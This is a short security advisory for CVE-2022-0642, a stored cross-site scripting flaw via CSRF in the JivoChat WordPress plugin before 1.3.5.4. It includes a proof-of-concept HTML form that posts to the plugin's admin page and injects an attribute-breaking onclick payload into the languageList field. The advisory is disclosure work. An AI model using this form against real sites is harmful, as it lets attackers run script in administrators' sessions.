JivoChat < 1.3.5.4 – Stored Cross-Site Scripting via CSRF | CVE 2022-0642

Description

The plugin does not properly check CSRF tokens on POST requests to the plugins admin page, and does not sanitise some parameters, leading to a stored Cross-Site Scripting vulnerability where an attacker can trick a logged in administrator to inject arbitrary javascript.

Proof of Concept

<html>
	<body>
		<form method="POST" action="https://127.0.0.1/wordpress/wp-admin/admin.php?page=jivosite.php">
			<input type="hidden" name="email" value="attacker@example.com"/>
			<input type="hidden" name="userPassword" value="Test123"/>
			<input type="hidden" name="userDisplayName" value="test123"/>
			<input type="hidden" name="languageList" value='1337" onclick=alert(/XSS/) test="'/>
			<input type="submit" value="Submit">
		</form>
	</body>
<html>

XSS will be triggered when admin click "Go to Web Application"